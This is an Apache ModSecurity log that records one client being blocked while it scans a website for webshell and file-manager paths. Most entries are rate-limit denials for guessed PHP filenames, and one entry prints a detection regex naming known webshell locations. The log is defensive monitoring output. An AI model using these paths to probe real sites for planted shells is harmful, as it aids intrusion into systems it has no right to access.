[Thu Apr 16 23:06:25.275695 2026] [:error] [pid 57639:tid 57655] [client 4.225.163.126:14458] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aeD68aMCQoTw7TsxWukGFAAAAMk"]
[Thu Apr 16 23:06:25.875516 2026] [:error] [pid 57639:tid 57667] [client 4.225.163.126:14337] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "aeD68aMCQoTw7TsxWukGGQAAANU"]
[Thu Apr 16 23:06:34.676936 2026] [:error] [pid 57639:tid 57662] [client 4.225.163.126:14434] [client 4.225.163.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aeD6-qMCQoTw7TsxWukGSwAAANA"]
[Thu Apr 16 23:06:36.894754 2026] [:error] [pid 57639:tid 57662] [client 4.225.163.126:14394] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-wp-image.php"] [unique_id "aeD6_KMCQoTw7TsxWukGUwAAANA"]
[Thu Apr 16 23:06:37.516717 2026] [:error] [pid 29603:tid 29616] [client 4.225.163.126:14343] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-wp-image.php"] [unique_id "aeD6_VfGOR6fpTWUAzq2xAAAAQs"]
[Thu Apr 16 23:06:38.962486 2026] [:error] [pid 49094:tid 49098] [client 4.225.163.126:14363] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-wp-image.php"] [unique_id "aeD6_jbDwvcXorHR_MwjjgAAAUI"]
[Thu Apr 16 23:06:42.282804 2026] [:error] [pid 7880:tid 7901] [client 4.225.163.126:14309] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-wp-image.php"] [unique_id "aeD7Aqaezm4fSGc0yULSDAAAAZA"]
[Thu Apr 16 23:06:44.754469 2026] [:error] [pid 57538:tid 57605] [client 4.225.163.126:14449] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aeD7BMuMaiEF5SVR2Bf9dAAAAIM"]
[Thu Apr 16 23:06:46.333321 2026] [:error] [pid 57639:tid 57659] [client 4.225.163.126:14451] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aeD7BqMCQoTw7TsxWukGaAAAAM0"]
[Thu Apr 16 23:06:47.662854 2026] [:error] [pid 7880:tid 7898] [client 4.225.163.126:14353] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aeD7B6aezm4fSGc0yULSGAAAAY0"]
[Thu Apr 16 23:06:48.688089 2026] [:error] [pid 57639:tid 57655] [client 4.225.163.126:14446] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aeD7CKMCQoTw7TsxWukGbAAAAMk"]
[Thu Apr 16 23:06:49.473284 2026] [:error] [pid 57639:tid 57648] [client 4.225.163.126:14355] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "aeD7CaMCQoTw7TsxWukGcQAAAMI"]
[Thu Apr 16 23:06:50.266344 2026] [:error] [pid 57639:tid 57657] [client 4.225.163.126:14431] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "aeD7CqMCQoTw7TsxWukGdwAAAMs"]
[Thu Apr 16 23:06:51.107882 2026] [:error] [pid 57639:tid 57670] [client 4.225.163.126:14459] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "aeD7C6MCQoTw7TsxWukGewAAANg"]
[Thu Apr 16 23:06:52.778323 2026] [:error] [pid 57537:tid 57577] [client 4.225.163.126:14279] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sadcut1.php"] [unique_id "aeD7DFVQRS8nm73ENAnNqwAAAEI"]
[Thu Apr 16 23:06:53.453987 2026] [:error] [pid 57536:tid 57562] [client 4.225.163.126:14391] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/footer.php"] [unique_id "aeD7DSQU4faGja6jpDuv7gAAAA4"]
[Thu Apr 16 23:06:54.067784 2026] [:error] [pid 29603:tid 29608] [client 4.225.163.126:14286] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/footer.php"] [unique_id "aeD7DlfGOR6fpTWUAzq22AAAAQM"]
[Thu Apr 16 23:06:54.674708 2026] [:error] [pid 57639:tid 57661] [client 4.225.163.126:14388] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/footer.php"] [unique_id "aeD7DqMCQoTw7TsxWukGhgAAAM8"]
[Thu Apr 16 23:06:55.732444 2026] [:error] [pid 57639:tid 57656] [client 4.225.163.126:14370] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/footer.php"] [unique_id "aeD7D6MCQoTw7TsxWukGigAAAMo"]
[Thu Apr 16 23:07:02.109775 2026] [:error] [pid 57639:tid 57653] [client 4.225.163.126:14450] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/img.php"] [unique_id "aeD7FqMCQoTw7TsxWukGlQAAAMc"]
[Thu Apr 16 23:07:03.198769 2026] [:error] [pid 57538:tid 57607] [client 4.225.163.126:14357] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/img.php"] [unique_id "aeD7F8uMaiEF5SVR2Bf9fgAAAIU"]
[Thu Apr 16 23:07:03.982889 2026] [:error] [pid 49094:tid 49098] [client 4.225.163.126:14379] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/img.php"] [unique_id "aeD7FzbDwvcXorHR_MwjpwAAAUI"]
[Thu Apr 16 23:07:04.746994 2026] [:error] [pid 57536:tid 57560] [client 4.225.163.126:14402] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/img.php"] [unique_id "aeD7GCQU4faGja6jpDuv-wAAAAw"]
[Thu Apr 16 23:07:05.686313 2026] [:error] [pid 57639:tid 57648] [client 4.225.163.126:14438] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "aeD7GaMCQoTw7TsxWukGmAAAAMI"]
[Thu Apr 16 23:07:06.986135 2026] [:error] [pid 57639:tid 57664] [client 4.225.163.126:14448] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "aeD7GqMCQoTw7TsxWukGngAAANI"]
[Thu Apr 16 23:07:08.494687 2026] [:error] [pid 57538:tid 57625] [client 4.225.163.126:14276] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "aeD7HMuMaiEF5SVR2Bf9hQAAAJc"]
[Thu Apr 16 23:07:09.390978 2026] [:error] [pid 57639:tid 57667] [client 4.225.163.126:14414] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/12.php"] [unique_id "aeD7HaMCQoTw7TsxWukGpQAAANU"]
[Thu Apr 16 23:07:10.893510 2026] [:error] [pid 57538:tid 57607] [client 4.225.163.126:14362] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "aeD7HsuMaiEF5SVR2Bf9igAAAIU"]
[Thu Apr 16 23:07:12.426288 2026] [:error] [pid 49094:tid 49119] [client 4.225.163.126:14287] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "aeD7IDbDwvcXorHR_MwjtAAAAVc"]
[Thu Apr 16 23:07:13.424001 2026] [:error] [pid 57639:tid 57653] [client 4.225.163.126:14306] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "aeD7IaMCQoTw7TsxWukGrwAAAMc"]
[Thu Apr 16 23:07:14.184428 2026] [:error] [pid 57639:tid 57668] [client 4.225.163.126:14316] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "aeD7IqMCQoTw7TsxWukGtQAAANY"]
[Thu Apr 16 23:07:15.311032 2026] [:error] [pid 49094:tid 49108] [client 4.225.163.126:14217] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeD7IzbDwvcXorHR_MwjvwAAAUw"]
[Thu Apr 16 23:07:16.030101 2026] [:error] [pid 57538:tid 57604] [client 4.225.163.126:14421] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeD7JMuMaiEF5SVR2Bf9lgAAAII"]
[Thu Apr 16 23:07:16.741995 2026] [:error] [pid 29603:tid 29616] [client 4.225.163.126:14292] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeD7JFfGOR6fpTWUAzq24AAAAQs"]
[Thu Apr 16 23:07:18.120820 2026] [:error] [pid 7880:tid 7898] [client 4.225.163.126:14455] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "aeD7Jqaezm4fSGc0yULSOAAAAY0"]
[Thu Apr 16 23:07:19.175692 2026] [:error] [pid 29603:tid 29626] [client 4.225.163.126:14227] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aeD7J1fGOR6fpTWUAzq25gAAARU"]
[Thu Apr 16 23:07:20.158727 2026] [:error] [pid 57537:tid 57583] [client 4.225.163.126:14398] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aeD7KFVQRS8nm73ENAnNyAAAAEg"]
[Thu Apr 16 23:07:20.808071 2026] [:error] [pid 57538:tid 57623] [client 4.225.163.126:14354] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aeD7KMuMaiEF5SVR2Bf9oQAAAJU"]
[Thu Apr 16 23:07:21.670454 2026] [:error] [pid 57538:tid 57619] [client 4.225.163.126:14314] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aeD7KcuMaiEF5SVR2Bf9qAAAAJE"]
[Thu Apr 16 23:07:23.226573 2026] [:error] [pid 29603:tid 29627] [client 4.225.163.126:14395] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/roksad1.php"] [unique_id "aeD7K1fGOR6fpTWUAzq27gAAARY"]
[Thu Apr 16 23:07:25.148655 2026] [:error] [pid 57538:tid 57604] [client 4.225.163.126:14342] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/roksad1.php"] [unique_id "aeD7LcuMaiEF5SVR2Bf9rgAAAII"]
[Thu Apr 16 23:07:26.291755 2026] [:error] [pid 57537:tid 57581] [client 4.225.163.126:14419] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/roksad1.php"] [unique_id "aeD7LlVQRS8nm73ENAnNzwAAAEY"]
[Thu Apr 16 23:07:27.426857 2026] [:error] [pid 57537:tid 57594] [client 4.225.163.126:14452] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/roksad1.php"] [unique_id "aeD7L1VQRS8nm73ENAnN0AAAAFM"]
[Thu Apr 16 23:07:28.337203 2026] [:error] [pid 57537:tid 57587] [client 4.225.163.126:14377] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "aeD7MFVQRS8nm73ENAnN0QAAAEw"]
[Thu Apr 16 23:07:29.000287 2026] [:error] [pid 29603:tid 29615] [client 4.225.163.126:14444] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "aeD7MFfGOR6fpTWUAzq2_wAAAQo"]
[Thu Apr 16 23:07:29.667278 2026] [:error] [pid 49094:tid 49117] [client 4.225.163.126:14392] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "aeD7MTbDwvcXorHR_Mwj4gAAAVU"]
[Thu Apr 16 23:07:30.397601 2026] [:error] [pid 57536:tid 57565] [client 4.225.163.126:14460] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "aeD7MiQU4faGja6jpDuwFQAAABE"]
[Thu Apr 16 23:07:31.089934 2026] [:error] [pid 57536:tid 57570] [client 4.225.163.126:14412] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aeD7MyQU4faGja6jpDuwFwAAABY"]
[Thu Apr 16 23:07:31.891534 2026] [:error] [pid 57538:tid 57602] [client 4.225.163.126:14372] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aeD7M8uMaiEF5SVR2Bf9sgAAAIA"]
[Thu Apr 16 23:07:32.622795 2026] [:error] [pid 57538:tid 57608] [client 4.225.163.126:14382] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aeD7NMuMaiEF5SVR2Bf9tQAAAIY"]
[Thu Apr 16 23:07:33.434193 2026] [:error] [pid 57538:tid 57622] [client 4.225.163.126:14334] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aeD7NcuMaiEF5SVR2Bf9tgAAAJQ"]
[Thu Apr 16 23:07:34.444099 2026] [:error] [pid 57536:tid 57567] [client 4.225.163.126:14359] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aeD7NiQU4faGja6jpDuwHgAAABM"]
[Thu Apr 16 23:07:35.888966 2026] [:error] [pid 57536:tid 57554] [client 4.225.163.126:14380] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aeD7NyQU4faGja6jpDuwHwAAAAY"]
[Thu Apr 16 23:07:45.124589 2026] [:error] [pid 49094:tid 49114] [client 4.225.163.126:14278] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws87.php"] [unique_id "aeD7QTbDwvcXorHR_MwkGQAAAVI"]
[Thu Apr 16 23:07:46.489850 2026] [:error] [pid 57639:tid 57662] [client 4.225.163.126:14294] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws87.php"] [unique_id "aeD7QqMCQoTw7TsxWukG1AAAANA"]
